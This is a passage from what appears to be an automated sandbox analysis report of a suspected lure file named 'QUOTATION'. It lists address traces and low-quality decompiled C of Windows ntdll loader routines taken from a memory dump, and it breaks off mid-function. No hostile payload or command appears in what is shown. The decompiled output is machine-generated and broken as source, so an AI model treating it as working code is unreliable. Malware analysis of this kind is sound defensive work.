0x337307b7
0x337307bd
0x337307c1
0x337307c5
0x337307c8
0x337307cb
0x337307d0
0x337307d3
0x337307d3
0x337307d6
0x33785008
0x337307e4
0x337307e4
0x337307e6
0x337307e6
0x337307e9
0x337307ee
0x3373081b
0x3373081b
0x3373081e
0x33730827
0x3373082d
0x33730833
0x33730839
0x3373083f
0x33730848
0x337308fd
0x33730903
0x33730903
0x3373084e
0x33730851
0x33730855
0x33730945
0x3373094d
0x33730950
0x33730953
0x33730964
0x00000000
0x33730964
0x33730955
0x00000000
0x3373085b
0x3373085b
0x3373086e
0x33730876
0x33730879
0x33730879
0x3373087c
0x33730880
0x33730885
0x337308dd
0x337308de
0x337308e1
0x337308e6
0x337308f3
0x337308f8
0x337308f8
0x33730887
0x33730887
0x33730887
0x33730889
0x33730892
0x33730897
0x3378505d
0x33785060
0x00000000
0x00000000
0x3378506f
0x337308a2
0x337308a5
0x33785079
0x3378507f
0x33785086
0x00000000
0x00000000
0x33785091
0x33785093
0x337850a5
0x33785095
0x3378509e
0x3378509e
0x337850af
0x337850be
0x337308ae
0x337308b4
0x337308b9
0x337850c8
0x337850cb
0x00000000
0x00000000
0x337850da
0x337308c4
0x337308c7
0x337850e9
0x337850eb
0x337850fd
0x337850ed
0x337850f6
0x337850f6
0x33785113
0x33785113
0x00000000
0x337308cd
0x337308bf
0x337308bf
0x00000000
0x337308bf
0x337308ab
0x337308ab
0x00000000
0x337308ab
0x3373089d
0x3373089d
0x00000000
0x3373089d
0x337307f0
0x337307f0
0x337307f8
0x33785014
0x33785017
0x3378501a
0x33785036
0x3378503d
0x00000000
0x00000000
0x00000000
0x00000000
0x3378501c
0x3378501c
0x3378501c
0x3378501e
0x33785020
0x33785023
0x33785026
0x00000000
0x00000000
0x33785028
0x3378502b
0x3378502e
0x00000000
0x00000000
0x00000000
0x33785030
0x33785035
0x33785035
0x00000000
0x33785035
0x337307fe
0x337307fe
0x33730801
0x33730803
0x33730808
0x33785053
0x33730816
0x33730816
0x33730818
0x33730818
0x00000000
0x33730808
0x337307ee
0x33730789
0x33730789
0x00000000
0x33730789
0x33730732
0x33730736
0x33784f63
0x33784f66
0x33784f66
0x33784f6b
0x33784f6d
0x00000000
0x00000000
0x33784f76
0x33784f79
0x33784f7b
0x33784f8d
0x33784f92
0x33784f92
0x33784f95
0x00000000
0x33784f95
0x3373073c
0x33730742
0x3373074b
0x00000000
0x00000000
0x00000000
0x3373074b
0x337306ff

Strings

HEAP: , xrefs: 33784ECA
HEAP[%wZ]: , xrefs: 33784EBB
(UCRBlock->Size >= *Size), xrefs: 33784ED7

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 6ddeb47288c968c1a7cc4cf0818fd94406222f2428f359d84609f4505bac21d3
Instruction ID: c23b9d8c7cc7c38234b6f0659e25719d531cd0129d053e02455f3f4b6dc559d3
Opcode Fuzzy Hash: 6ddeb47288c968c1a7cc4cf0818fd94406222f2428f359d84609f4505bac21d3
Instruction Fuzzy Hash: B3F1AD74A01705DFEB05CF68C894B6AB7B6FF45360F184169E4869F782DB38E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 33749723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E33749723(signed int __ecx, void* __edx) {
				char _v4;
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t49;
				signed int _t50;
				signed int _t60;
				signed int _t69;
				signed int _t70;
				intOrPtr _t79;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t85;
				intOrPtr _t86;
				signed int _t87;
				void* _t88;
				signed int _t89;
				signed int _t93;
				signed int _t99;
				signed int* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				intOrPtr* _t105;
				void* _t107;
				signed int _t108;
				intOrPtr* _t110;
				signed int _t112;
				signed int _t113;
				void* _t115;

				_t87 = __ecx;
				_t115 = (_t113 & 0xfffffff8) - 0x14;
				_t110 = __ecx;
				_v16 =  *[fs:0x30];
				_t82 = 0;
				_v12 = __ecx;
				_push(_t103);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L9:
					_t13 = _t110 + 0x20;
					 *_t13 =  *(_t110 + 0x20) | 0xffffffff;
					__eflags =  *_t13;
					E3374A4E3(_t82, _t87, _t103, _t110,  *_t13);
					L10:
					__eflags =  *0x338165f0 - _t82; // 0x0
					if(__eflags != 0) {
						_t99 =  *0x7ffe0330;
						_t83 =  *0x33819214; // 0x0
						_t88 = 0x20;
						_t87 = _t88 - (_t99 & 0x0000001f);
						asm("ror ebx, cl");
						_t82 = _t83 ^ _t99;
					}
					E3372FED0(0x338132d8);
					_t49 =  *_t110;
					while(1) {
						_v20 = _t49;
						__eflags = _t49 - _t110;
						if(_t49 == _t110) {
							break;
						}
						_t16 = _t49 - 0x54; // 0x77c636a0
						_t108 = _t16;
						__eflags =  *(_t108 + 0x34) & 0x00000008;
						if(( *(_t108 + 0x34) & 0x00000008) != 0) {
							_push(_t87);
							_t102 = 2;
							E33740C2C(_t108, _t102);
							__eflags = _t82;
							if(_t82 != 0) {
								 *0x338191e0(_t108);
								 *_t82();
							}
							_t87 = _t108;
							E337298DE(_t87, 1);
							_t79 = _v24;
							__eflags =  *(_t79 + 0x68) & 0x00000100;
							if(( *(_t79 + 0x68) & 0x00000100) != 0) {
								_t87 = _t108;
								E337A85AA(_t87);
							}
						}
						__eflags =  *0x338137c0 & 0x00000005;
						if(__eflags != 0) {
							_t43 = _t108 + 0x24; // -48
							E3379E692("minkernel\\ntdll\\ldrsnap.c", 0xcdd, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t43);
							_t115 = _t115 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t108 + 0x18)));
						E3374A390(_t82, _t87, _t108, _t110, __eflags);
						_t49 =  *_v28;
					}
					_push(0x338132d8);
					_t50 = E3372E740(_t87);
					while(1) {
						L3:
						_t89 =  *(_t110 + 0x18);
						if(_t89 == 0) {
							break;
						}
						_t104 =  *_t89;
						__eflags = _t104 - _t89;
						if(_t104 != _t89) {
							_t50 =  *_t104;
							 *_t89 = _t50;
						} else {
							_t32 = _t110 + 0x18;
							 *_t32 =  *(_t110 + 0x18) & 0x00000000;
							__eflags =  *_t32;
						}
						__eflags = _t104;
						if(_t104 == 0) {
							break;
						} else {
							L33732330(_t50, 0x33816668);
							_t86 =  *((intOrPtr*)(_t104 + 4));
							_t35 = _t104 + 8; // 0x8
							_t100 = _t35;
							_t93 =  *(_t86 + 0x1c);
							_t60 =  *_t93;
							_v16 = _t60;
							__eflags = _t60 - _t100;
							if(_t60 == _t100) {
								L27:
								 *_t93 =  *_t100;
								__eflags =  *(_t86 + 0x1c) - _t100;
								if(__eflags == 0) {
									asm("sbb eax, eax");
									_t69 =  ~(_t93 - _t100) & _t93;
									__eflags = _t69;
									 *(_t86 + 0x1c) = _t69;
								}
								_push( &_v4);
								E3373D963(_t86, _t86, 0, _t104, _t110, __eflags);
								E337324D0(0x33816668);
								__eflags = _v12;
								if(_v12 != 0) {
									E33749723(_t86, 0);
								}
								_t50 = E33733BC0( *0x33815d74, 0, _t104);
								continue;
							}
							_t112 = _t60;
							do {
								_t70 =  *_t112;
								_t93 = _t112;
								_t112 = _t70;
								__eflags = _t70 - _t100;
							} while (_t70 != _t100);
							_t110 = _v8;
							goto L27;
						}
					}
					_t105 =  *_t110;
					 *(_t110 + 0x20) = 0xfffffffe;
					if(_t105 == _t110) {
						L8:
						return _t50;
					} else {
						goto L5;
					}
					do {
						L5:
						_t85 =  *_t105;
						_t107 = _t105 + 0xffffffac;
						 *(_t107 + 0x34) =  *(_t107 + 0x34) | 0x00000002;
						E33749938(L33732330(_t50, 0x33816668), _t107);
						if(( *(_t107 + 0x34) & 0x00000080) != 0) {
							_t28 = _t107 + 0x74; // -56
							L33749B40(_t85, _t107, _t110, 0x338167ac);
							_t29 = _t107 + 0x68; // -68
							L33749B40(_t85, _t107, _t110, 0x338167a4);
							 *(_t107 + 0x20) =  *(_t107 + 0x20) & 0x00000000;
						}
						E337324D0(0x33816668);
						if( *0x33815d70 != 0) {
							E3375680F(_t107);
						}
						_t50 = E3373D3E1(_t85, _t107, _t110);
						_t105 = _t85;
					} while (_t85 != _t110);
					goto L8;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L10;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 9) {
					goto L9;
				}
				goto L3;
			}

0x33749723
0x3374972b
0x33749736
0x33749738
0x3374973c
0x3374973e
0x33749742
0x33749747
0x337497bc
0x337497bc
0x337497bc
0x337497bc
0x337497c0
0x337497c5
0x337497c5
0x337497cb
0x33749900
0x33749908
0x33749913
0x33749914
0x33749916
0x33749918
0x33749918
0x337497d6
0x337497db
0x337497dd
0x337497dd
0x337497e1
0x337497e3
0x00000000
0x00000000
0x337497e5
0x337497e5
0x337497e8
0x337497ec
0x337497ee
0x337497f1
0x337497f4
0x337497f9
0x337497fb
0x33749922
0x33749928
0x33749928
0x33749803
0x33749805
0x3374980a
0x3374980e
0x33749815
0x3378dade
0x3378dae0
0x3378dae0
0x33749815
0x3374981b
0x33749822
0x3378daea
0x3378db04
0x3378db09
0x3378db09
0x33749828
0x3374982a
0x3374982d
0x33749836
0x33749836
0x3374983a
0x3374983f
0x33749755
0x33749755
0x33749755
0x3374975a
0x00000000
0x00000000
0x3374986e
0x33749870
0x33749872
0x3374992f
0x33749931
0x33749878
0x33749878
0x33749878
0x33749878
0x33749878
0x3374987c
0x3374987e
0x00000000
0x33749884
0x33749889
0x3374988e
0x33749891
0x33749891
0x33749894
0x33749897
0x33749899
0x3374989d
0x3374989f
0x337498b1
0x337498b3
0x337498b5
0x337498b8
0x337498c0
0x337498c2
0x337498c2
0x337498c4
0x337498c4
0x337498cd
0x337498d0
0x337498da
0x337498df
0x337498e4
0x337498e8
0x337498e8
0x337498f6
0x00000000
0x337498f6
0x337498a1
0x337498a3
0x337498a3
0x337498a5
0x337498a7
0x337498a9
0x337498a9
0x337498ad
0x00000000
0x337498ad
0x3374987e
0x33749760
0x33749762
0x3374976b
0x337497b5
0x337497bb
0x00000000
0x00000000
0x00000000
0x3374976d
0x3374976d
0x3374976d
0x3374976f
0x33749777
0x33749782
0x3374978b
0x33749849
0x33749852
0x33749857
0x33749860
0x33749865
0x33749865
0x33749796
0x337497a2
0x3378db13
0x3378db13
0x337497aa
0x337497af
0x337497b1
0x00000000
0x3374976d
0x3374974d
0x00000000
0x00000000
0x33749753
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33749922

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 3378DAFF
Unmapping DLL "%wZ", xrefs: 3378DAEE
LdrpUnloadNode, xrefs: 3378DAF5

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 5b1af749355b9826902fb91a4f23647fe533333d5a34190bb5c261ef4ee15389
Instruction ID: 7b77627856519e1bc7159539fadc5d268ad6a55b4a6fb5c26a1e87247adda397
Opcode Fuzzy Hash: 5b1af749355b9826902fb91a4f23647fe533333d5a34190bb5c261ef4ee15389
Instruction Fuzzy Hash: 89515C71B097019FE711DF38C888B1977D6BB8A314F18066DE4919FA82DB70F801DB91

Uniqueness

Uniqueness Score: -1.00%

Function 3375C640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E3375C640(void* __ebx, signed int __ecx, void* __edx, void* __edi) {
				signed int _v20;
				signed int _v36;
				char _v544;
				char _v552;
				char _v556;
				char* _v560;
				short _v562;
				signed int _v564;
				short _v570;
				char _v572;
				signed int _v580;
				char _v588;
				signed int _v604;
				signed short _v608;
				void* __esi;
				void* __ebp;
				void* _t25;
				signed int* _t27;
				signed int _t39;
				signed int _t42;
				signed int _t54;
				signed char _t56;
				signed int* _t58;
				intOrPtr* _t65;
				signed int _t67;
				void* _t70;
				signed int _t72;
				signed int _t75;
				void* _t77;
				signed int _t80;
				void* _t82;
				signed int _t85;
				signed int _t87;

				_t70 = __edx;
				_push(__ebx);
				_push(__edi);
				_t72 = __ecx;
				_t25 = E33740130();
				if(_t25 != 0) {
					L33732330(_t25, 0x33815b5c);
					_t27 =  *0x33819224; // 0x0
					_t75 =  *_t27;
					__eflags = _t72;
					if(_t72 != 0) {
						__eflags = _t75;
						if(_t75 == 0) {
							goto L13;
						} else {
							_t80 = _t75 - 1;
							goto L7;
						}
					} else {
						__eflags = _t75;
						if(_t75 == 0) {
							E33719050( *0x3381921c, _t75);
						}
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							L13:
							E337324D0(0x33815b5c);
							_t65 = 0xe;
							asm("int 0x29");
							_t87 = (_t85 & 0xfffffff8) - 0x224;
							_v20 =  *0x3381b370 ^ _t87;
							_t76 = _t65;
							 *0x338191e0( &_v544, 0x104, _t75, _t82);
							_t67 =  *_t65() + _t33;
							__eflags = _t67;
							if(_t67 != 0) {
								__eflags =  *0x3381660c;
								_v560 =  &_v552;
								_v564 = _t67;
								_v562 = 0x208;
								if(__eflags == 0) {
									L25:
									_push( &_v556);
									_push( &_v564);
									E337ACB20(0x33815b5c, _t72, _t76, __eflags);
									goto L15;
								} else {
									_t76 = ( *0x33816608 & 0x0000ffff) + 2 + _t67;
									_t42 = E33735D90(_t67,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t76);
									_v580 = _t42;
									__eflags = _t42;
									if(_t42 != 0) {
										__eflags = 0;
										_v570 = _t76;
										_v572 = 0;
										E337410D0(_t67,  &_v572, 0x33816608);
										E337410D0(_t67,  &_v580,  &_v572);
										E3372FE40(_t67,  &_v588, ";");
										E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x3381660c);
										 *0x33816608 = _v608;
										_t54 = _v604;
										 *0x3381660c = _t54;
										 *0x33816604 = _t54;
										E337AD4A0(_t67, __eflags);
										goto L25;
									} else {
										_t56 =  *0x338137c0; // 0x0
										__eflags = _t56 & 0x00000003;
										if((_t56 & 0x00000003) != 0) {
											_push("Failed to reallocate the system dirs string !\n");
											_push(0);
											_push("LdrpInitializePerUserWindowsDirectory");
											_push(0xcf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E3379E692();
											_t56 =  *0x338137c0; // 0x0
											_t87 = _t87 + 0x14;
										}
										__eflags = _t56 & 0x00000010;
										if((_t56 & 0x00000010) != 0) {
											asm("int3");
										}
										_t39 = 0xc0000017;
									}
								}
							} else {
								L15:
								_t39 = 0;
								__eflags = 0;
							}
							_pop(_t77);
							__eflags = _v36 ^ _t87;
							return E33764B50(_t39, 0x33815b5c, _v36 ^ _t87, _t70, _t72, _t77);
						} else {
							_t80 = _t75 + 1;
							__eflags = _t80;
							L7:
							_t58 =  *0x33819224; // 0x0
							 *_t58 = _t80;
							__eflags = _t72;
							if(_t72 != 0) {
								__eflags = _t80;
								if(_t80 == 0) {
									E33719050( *0x3381921c, 1);
								}
							}
							_t25 = E337324D0(0x33815b5c);
							goto L1;
						}
					}
				} else {
					L1:
					return _t25;
				}
			}

0x3375c640
0x3375c642
0x3375c644
0x3375c645
0x3375c647
0x3375c64e
0x3375c65a
0x3375c65f
0x3375c664
0x3375c666
0x3375c668
0x3375c6a4
0x3375c6a6
0x00000000
0x3375c6a8
0x3375c6a8
0x00000000
0x3375c6a8
0x3375c66a
0x3375c66a
0x3375c66c
0x3375c675
0x3375c675
0x3375c67a
0x3375c67d
0x3375c6ab
0x3375c6ac
0x3375c6b3
0x3375c6b4
0x3375c6be
0x3375c6cb
0x3375c6dc
0x3375c6df
0x3375c6e9
0x3375c6e9
0x3375c6eb
0x33798090
0x3379809b
0x337980a4
0x337980a9
0x337980ae
0x3379817f
0x33798183
0x33798188
0x33798189
0x00000000
0x337980b4
0x337980c4
0x337980cc
0x337980d1
0x337980d5
0x337980d7
0x33798114
0x33798116
0x3379811b
0x3379812a
0x33798139
0x33798148
0x3379815e
0x33798167
0x3379816c
0x33798170
0x33798175
0x3379817a
0x00000000
0x337980d9
0x337980d9
0x337980de
0x337980e0
0x337980e2
0x337980e7
0x337980e9
0x337980ee
0x337980f3
0x337980f8
0x337980fd
0x33798102
0x33798102
0x33798105
0x33798107
0x33798109
0x33798109
0x3379810a
0x3379810a
0x337980d7
0x3375c6f1
0x3375c6f1
0x3375c6f1
0x3375c6f1
0x3375c6f1
0x3375c6fa
0x3375c6fb
0x3375c705
0x3375c67f
0x3375c67f
0x3375c67f
0x3375c680
0x3375c680
0x3375c685
0x3375c687
0x3375c689
0x3375c68b
0x3375c68d
0x3375c697
0x3375c697
0x3375c68d
0x3375c69d
0x00000000
0x3375c69d
0x3375c67d
0x3375c650
0x3375c650
0x3375c653
0x3375c653

APIs

RtlDebugPrintTimes.NTDLL ref: 3375C6DF

Strings

Failed to reallocate the system dirs string !, xrefs: 337980E2
LdrpInitializePerUserWindowsDirectory, xrefs: 337980E9
minkernel\ntdll\ldrinit.c, xrefs: 337980F3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 2b3db9a045fb3425811394df6a2d9bbd4a67031c8149f460f35ea0e279c8d55b
Instruction ID: 326b0fb668be4832be00c6ceb57f875d6f158f66c710e9f444fc8c1c63e1ae22
Opcode Fuzzy Hash: 2b3db9a045fb3425811394df6a2d9bbd4a67031c8149f460f35ea0e279c8d55b
Instruction Fuzzy Hash: 0B4112B6D12301AFE311EF64DC44B4B77E8EF48650F04092AF8A8EB251EB70D906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 337A43D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E337A43D5(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __esi;
				signed char _t37;
				signed int _t41;
				intOrPtr _t44;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				void* _t54;
				signed int _t59;
				signed int _t60;
				signed int _t64;
				signed int _t66;
				intOrPtr _t68;
				signed int _t69;
				intOrPtr _t70;

				_t68 = _a4;
				_t54 = __edx;
				_v28 = __ecx;
				_v24 = E337A4B46(_t68);
				_v12 =  *((intOrPtr*)(_t54 + 0x2c));
				_v8 =  *((intOrPtr*)(_t54 + 0x30));
				_v20 =  *((intOrPtr*)(_t54 + 0x90));
				_t37 =  *0x33816714; // 0x0
				_v16 = _t68;
				_t69 =  *0x33816710; // 0x0
				if((_t37 & 0x00000001) != 0) {
					if(_t69 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t69 = _t69 ^ 0x33816710;
					}
				}
				_t64 = _t37 & 1;
				while(_t69 != 0) {
					__eflags = E337A4528(_t54, _t69,  &_v24, _t69);
					if(__eflags >= 0) {
						if(__eflags <= 0) {
							L25:
							while(_t69 != 0) {
								_t41 = E337A4528(_t54, _t69,  &_v24, _t69);
								__eflags = _t41;
								if(_t41 != 0) {
									break;
								}
								_t66 =  *0x33815ca0; // 0x0
								__eflags = _t66;
								if(_t66 == 0) {
									L28:
									__eflags =  *0x338137c0 & 0x00000005;
									_t70 =  *((intOrPtr*)(_t69 + 0x20));
									if(( *0x338137c0 & 0x00000005) != 0) {
										_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
										_push( *((intOrPtr*)(_t44 + 0x2a8)));
										_push( *((intOrPtr*)(_t44 + 0x2a4)));
										_push(_a4);
										_push( *((intOrPtr*)(_t54 + 0x30)));
										_push( *((intOrPtr*)(_t54 + 0x2c)));
										_push( *((intOrPtr*)(_v28 + 0x30)));
										E3379E692("minkernel\\ntdll\\ldrredirect.c", 0x12b, "LdrpCheckRedirection", 2, "Import Redirection: %wZ %wZ!%s redirected to %wZ\n",  *((intOrPtr*)(_v28 + 0x2c)));
									}
									L27:
									return _t70;
								}
								 *0x338191e0( *((intOrPtr*)(_v28 + 0x28)),  *((intOrPtr*)(_t69 + 0x24)));
								_t49 =  *_t66();
								__eflags = _t49;
								if(_t49 != 0) {
									goto L28;
								}
								_t50 =  *(_t69 + 4);
								_t59 = _t69;
								__eflags = _t50;
								if(_t50 == 0) {
									while(1) {
										_t69 =  *(_t69 + 8) & 0xfffffffc;
										__eflags = _t69;
										if(_t69 == 0) {
											goto L25;
										}
										__eflags =  *_t69 - _t59;
										if( *_t69 == _t59) {
											goto L25;
										}
										_t59 = _t69;
									}
									continue;
								}
								_t69 = _t50;
								_t60 =  *_t69;
								__eflags = _t60;
								if(_t60 == 0) {
									continue;
								} else {
									goto L20;
								}
								do {
									L20:
									_t51 =  *_t60;
									_t69 = _t60;
									_t60 = _t51;
									__eflags = _t51;
								} while (_t51 != 0);
							}
							_t70 = 0xffbadd11;
							goto L27;
						}
						_t52 =  *(_t69 + 4);
						L9:
						__eflags = _t64;
						if(_t64 == 0) {
							L12:
							_t69 = _t52;
							continue;
						}
						__eflags = _t52;
						if(_t52 == 0) {
							goto L12;
						}
						_t69 = _t69 ^ _t52;
						continue;
					}
					_t52 =  *_t69;
					goto L9;
				}
				goto L25;
			}

0x337a43e2
0x337a43e5
0x337a43e7
0x337a43f3
0x337a43fa
0x337a4401
0x337a440b
0x337a440f
0x337a4414
0x337a4418
0x337a4420
0x337a4424
0x337a442e
0x337a442e
0x337a4426
0x337a4426
0x337a4426
0x337a4424
0x337a4433
0x337a445e
0x337a4443
0x337a4445
0x337a444b
0x00000000
0x337a44c0
0x337a446a
0x337a446f
0x337a4471
0x00000000
0x00000000
0x337a4473
0x337a4479
0x337a447b
0x337a44d4
0x337a44d4
0x337a44db
0x337a44de
0x337a44e6
0x337a44e9
0x337a44ef
0x337a44f9
0x337a44fc
0x337a44ff
0x337a4502
0x337a451e
0x337a4523
0x337a44c9
0x337a44d1
0x337a44d1
0x337a4489
0x337a448f
0x337a4491
0x337a4493
0x00000000
0x00000000
0x337a4495
0x337a4498
0x337a449a
0x337a449c
0x337a44b8
0x337a44bb
0x337a44bb
0x337a44be
0x00000000
0x00000000
0x337a44b2
0x337a44b4
0x00000000
0x00000000
0x337a44b6
0x337a44b6
0x00000000
0x337a44b8
0x337a449e
0x337a44a0
0x337a44a2
0x337a44a4
0x00000000
0x00000000
0x00000000
0x00000000
0x337a44a6
0x337a44a6
0x337a44a6
0x337a44a8
0x337a44aa
0x337a44ac
0x337a44ac
0x337a44b0
0x337a44c4
0x00000000
0x337a44c4
0x337a444d
0x337a4450
0x337a4450
0x337a4452
0x337a445c
0x337a445c
0x00000000
0x337a445c
0x337a4454
0x337a4456
0x00000000
0x00000000
0x337a4458
0x00000000
0x337a4458
0x337a4447
0x00000000
0x337a4447
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 337A4489

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 337A4519
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 337A4508
LdrpCheckRedirection, xrefs: 337A450F

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: efdf80fd051e980dabc68ffde56ae464c083c3972c09a65c195eb9b421c36fdc
Instruction ID: 94d2a452bb141eb05d1c61007179f78642a3530e2b5351f0c28bd99f5d007b04
Opcode Fuzzy Hash: efdf80fd051e980dabc68ffde56ae464c083c3972c09a65c195eb9b421c36fdc
Instruction Fuzzy Hash: 1741AF76A057119FDB11CF5CC840A167BEAAF48690F090769EC98EF351D732EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 337FACEB Relevance: 6.4, APIs: 4, Instructions: 450
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 45%

			E337FACEB(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed int* _v12;
				signed char _v13;
				signed char _v14;
				signed char _v16;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed char _v24;
				signed char _v25;
				signed char _v26;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int* _t146;
				signed int _t149;
				signed int _t151;
				signed int _t167;
				signed int _t169;
				signed int _t173;
				signed char _t176;
				signed int _t195;
				void* _t211;
				signed int _t250;
				signed int _t251;
				signed int _t253;
				intOrPtr* _t254;
				signed int _t261;
				signed char _t267;
				signed char _t274;
				intOrPtr _t283;
				signed int _t285;
				signed int _t288;
				signed int _t292;
				intOrPtr _t295;
				signed int _t297;
				signed int* _t304;
				signed char _t305;
				void* _t333;
				unsigned int _t335;
				signed int _t336;
				signed char _t337;
				unsigned int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				intOrPtr _t349;
				signed char _t351;
				signed int _t353;
				signed char _t354;
				unsigned int _t355;
				unsigned int _t356;
				signed int _t358;
				unsigned int _t360;
				void* _t361;
				signed int _t362;
				signed int _t364;
				intOrPtr* _t365;
				signed int _t366;
				signed int _t367;
				void* _t368;
				void* _t369;
				void* _t370;
				void* _t371;
				void* _t372;
				signed char* _t374;
				signed int _t375;
				signed int _t377;
				signed int _t378;
				signed int _t380;
				signed char _t381;
				unsigned int _t383;

				_t146 = __edx;
				_v8 = __ecx;
				_v12 = __edx;
				_t251 = 0x4cb2f;
				_t3 = _t146 + 4; // 0x8b0775c0
				_t374 =  *_t3;
				_t360 =  *__edx << 2;
				if(_t360 < 8) {
					L3:
					_t361 = _t360 - 1;
					if(_t361 == 0) {
						L16:
						_t251 = _t251 * 0x25 + ( *_t374 & 0x000000ff);
						L17:
						_t375 = _v8;
						_t12 = _t375 + 0x1c; // 0x337fabd2
						_v24 = _t12;
						_t149 = L337253C0(_t12);
						_t362 = 0;
						while(1) {
							L18:
							_t14 = _t375 + 4; // 0x8bf8558b
							_t335 =  *_t14;
							_t151 = (_t149 | 0xffffffff) << (_t335 & 0x0000001f);
							_t267 = _t251 & _t151;
							_v28 = _t151;
							_v20 = _t267;
							_v16 = _t267;
							if(_t362 != 0) {
								goto L21;
							}
							_t356 = _t335 >> 5;
							if(_t356 == 0) {
								_t362 = 0;
								L30:
								if(_t362 == 0) {
									L34:
									_t33 = _t375 + 0x1c; // 0x337fabd2
									E337252F0(_t267, _t33);
									_t35 = _t375 + 0x28; // 0x8b0a74f6
									_t36 = _t375 + 0x20; // 0x8bb372c7
									 *0x338191e0(0xc +  *_v12 * 4,  *_t35);
									_t337 =  *((intOrPtr*)( *_t36))();
									_v16 = _t337;
									if(_t337 != 0) {
										asm("stosd");
										asm("stosd");
										asm("stosd");
										 *(_t337 + 8) =  *(_t337 + 8) & 0xff000001 | 0x00000001;
										 *((char*)(_t337 + 0xb)) =  *_v12;
										 *(_t337 + 4) = _t251;
										_t46 = _t337 + 0xc; // 0xc
										_t167 = L33732330(E337688C0(_t46, _v12[1],  *_v12 << 2), _v24);
										_t377 = _v8;
										_t364 = 0;
										do {
											_t49 = _t377 + 4; // 0x8bf8558b
											_t338 =  *_t49;
											_t169 = (_t167 | 0xffffffff) << (_t338 & 0x0000001f);
											_v28 = _t169;
											_t274 = _t169 & _t251;
											_v20 = _t274;
											_v24 = _t274;
											if(_t364 != 0) {
												L40:
												_t339 = _v28;
												while(1) {
													_t364 =  *_t364;
													if((_t364 & 0x00000001) != 0) {
														break;
													}
													if(_t274 == ( *(_t364 + 4) & _t339)) {
														L45:
														if(_t364 == 0) {
